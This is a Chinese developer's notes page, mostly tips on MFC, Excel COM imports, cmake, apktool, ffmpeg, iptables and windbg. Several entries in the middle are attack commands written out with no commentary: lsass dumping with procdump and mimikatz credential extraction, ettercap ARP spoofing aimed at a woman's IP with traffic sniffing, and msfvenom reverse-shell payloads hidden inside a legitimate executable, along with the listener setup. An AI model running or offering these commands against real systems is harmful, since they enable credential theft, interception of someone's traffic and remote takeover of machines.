ShellExecuteEx使用不当会造成系统运行越来越慢,比如,如果指定了SEE_MASK_NOCLOSEPROCESS隐码,而未关闭返回的进程句柄,就是不对的,这样反复调ShellExecuteEx的后果是系统越来越慢。
正确做法是调用系统函数CloseHandle关闭返回的进程句柄。
人,技术,生活。
ShellExecuteEx使用不当会造成系统运行越来越慢,比如,如果指定了SEE_MASK_NOCLOSEPROCESS隐码,而未关闭返回的进程句柄,就是不对的,这样反复调ShellExecuteEx的后果是系统越来越慢。
正确做法是调用系统函数CloseHandle关闭返回的进程句柄。
很有意思,我发现vs2013 mfc对话框中只要焦点在ip输入控件或编辑框控件上时,调用该对话框实例的DestroyWindow()函数,就会很有可能抛如下之类的异常:
First-chance exception at 0x6EC815AC (comctl32.dll) in MyApp.exe: 0xC0000005: Access violation reading location 0x08824FC0.
现在临时的解决办法是调用对话框实例的DestroyWindow之前,找一个对话框上的非输入控件对其调用SetFocus()。
原因是mso.dll库中的定义没导入,对于装的是Office 2013的环境,正确写法是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | #import "C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE15\\MSO.DLL" rename("RGB", "MSRGB") using namespace Office; #import "C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VBA\\VBA6\\VBE6EXT.OLB" raw_interfaces_only, \ rename("Reference", "ignorethis"), rename("VBE", "JOEVBE") using namespace VBIDE; #import "C:\\Program Files (x86)\\Microsoft Office\\Office15\\EXCEL.EXE" exclude("IFont", "IPicture") \ rename("RGB", "ignorethis"), rename("DialogBox", "ignorethis"), rename("VBE", "JOEVBE"), \ rename("ReplaceText", "JOEReplaceText"), rename("CopyFile","JOECopyFile"), \ rename("FindText", "JOEFindText"), rename("NoPrompt", "JOENoPrompt") using namespace Excel; #include "CApplication.h" #include "CWorkbooks.h" #include "CWorkbook.h" #include "CWorksheets.h" #include "CWorksheet.h" #include "CRange.h" #include "CFont0.h" //下面再写导出Excel文件的逻辑。 |
同时还要把这包含的Type Lib几个头文件的开头的import语句都删掉。
还要把CRange.h里的DialogBox函数注释掉。
就可以了。
还有,导出Excel文件用这种COM进程间通讯的方式最大缺点是慢,当导出条数很大时尤为明显,最好的方法是写一个C#子程序调npoi库。现在都是win7以上了,做成安装包时不需要要用户先安装.net framework之类的库。
refer to: http://blog.sina.com.cn/s/blog_7c5bff15010117cb.html
这个问题很无语,说一种原因,在用cmake写CMakeLists.txt编译live555时,
1 | project(Project01 CXX C) |
看见没?project关键字后少写了一个C,就不会编译纯C的代码。
原因是在ON_WM_PAINT对应的OnPaint函数里没有调过:
1 | CPaintDC dc(this); |
比如以下语句:
1 2 3 4 | CFont font_; font_.CreatePointFont(16 * 10, _T("微软雅黑")); ... SelectObject(hdc, &font_); |
编译后运行,在hdc上写的字根本没改变字体。很郁闷。
最后发现,要这样写:
1 | SelectObject(hdc, font_.m_hObject); |
或者这样写:
1 | SelectObject(hdc, font_); |
VS2013卸载QT插件的方法:
打开VS2013,主菜单工具->扩展和更新里卸载。
--------------
VS2013的版本为VS2013 Ultimate with update 5
到http://download.qt.io/archive/qt/5.7/5.7.1/
下载qt-opensource-windows-x86-msvc2013-5.7.1.exe
到http://download.qt.io/archive/vsaddin/2.0.0/
下载qt-vs-tools-msvc2013-2.0.0.vsix
1 | java -jar apktool.jar d eye_debug.apk |
1 | java -jar apktool.jar b eye_debug -o eye_nosign.apk |
1 2 3 4 5 6 7 | del eye_signed.apk set PATH=%PATH%;C:\Program Files\Java\jdk1.8.0_65\bin rem keytool -genkey -keystore bm.keystore -alias bm -keyalg RSA -validity 10000 jarsigner -verbose -keystore bm.keystore -signedjar eye_signed.apk eye_nosign.apk bm |
转码
ffmpeg.exe -i %1 -vcodec h264 -s 1920x1080 -g 10 output.avi
转格式
ffmpeg.exe -i %1 -vcodec copy output.avi
改码率
ffmpeg -i in.avi -b 512K out.mp4
改文件大小
ffmpeg -i input.avi -fs 10MB output.mp4
看GOP
ffprobe.exe -show_frames 62_g10.avi | grep key_frame > 62_g10_k.txt
ffprobe.exe -show_frames 62_g10.avi | grep pict_type > 62_g10.txt
ffprobe.exe -show_frames -of xml sample.mp4 > probe.xml
只允许67访问
iptables -I INPUT -p tcp --dport 22 -j DROP; iptables -I INPUT -s 192.168.1.67 -p tcp --dport 22 -j ACCEPT
iptables-save
ssh与redis
https://www.toutiao.com/a6649866429325640205/
深度强化学习
https://github.com/keon/deep-q-learning
https://www.toutiao.com/a6664790347987550733/
MFC子窗口和父窗口
https://www.cnblogs.com/BeyondTechnology/archive/2011/03/25/1995934.html
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
https://www.toutiao.com/a6674094119448478220/
基于文件过滤驱动的透明加密那点事儿
https://blog.csdn.net/orbit/article/details/9907335
1 2 3 4 5 6 | #include <mcheck.h> void mtrace(void); void muntrace(void); MALLOC_TRACE=out.log ./a.out LD_DEBUG=help ./a.out mtrace a.out out.log |
https://blog.csdn.net/tsvico/article/details/79248788
echo 1 > /proc/sys/net/ipv4/ip_forward
zenmap
ettercap -G
女神的IP设置为目标1,路由器的IP设置为目标2
driftnet -i wlan0
urlsnarf -i wlan0
ufw disable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=4444 -e x86/shikata_ga_nai -i 5 -b '\x00' -x Depends.exe -f exe -o MyDepends2.exe
msfconsole
use exploits/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.69
run
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.37 lport=4444 -f exe -o shell_stageless.exe
bat脚本获取当前文件所在目录
https://blog.csdn.net/tsvico/article/details/78050884
windbg
SRV*c:\temp*http://msdl.microsoft.com/download/symbols
!analyze -v
.load wow64exts
!sw
!heap –x 00ca3480
ub 0118188e L20
~2 s
k
dv
x MyModule!MyClass*
dps 014cb558
dt /b this
s -d 0 L?80000000 0x00cd5740
dt 0029f8b8 impClass
s -u 10000 L8000000 "hello"
!address 0728988a
.writemem d:\dump.txt 07288600 L2000
kdbgctrl -db
kdbgctrl -e
kd -kl
.reload
dt _DRIVER_OBJECT
u nt!ZwOpenKey
!process 0 0
dt nt!_eprocess
!irpfind
!pcr
二进制编辑
vim -b datafile
:%!xxd
R
:%!xxd -r
isatap Teredo
ulimit -c unlimited
echo "/tmp/core-%e-%p" > /proc/sys/kernel/core_pattern
/verbose:lib
jpeg文件的标准格式是文件内容的前两字节是0xFF和0xD8,而有的jpg后缀的文件内容前两个字节有可能为0x42和0x4D之类。
所以在用JpegLib库如jpegsr9c.zip读取jpg文件时,可能在jpeg_read_header处报错,或者程序退出,因为源码中遇到错误时就会调系统函数exit(1)。
因此,在调用Jpeg库之前,一定要检查jpg文件的头两个字节是否标准。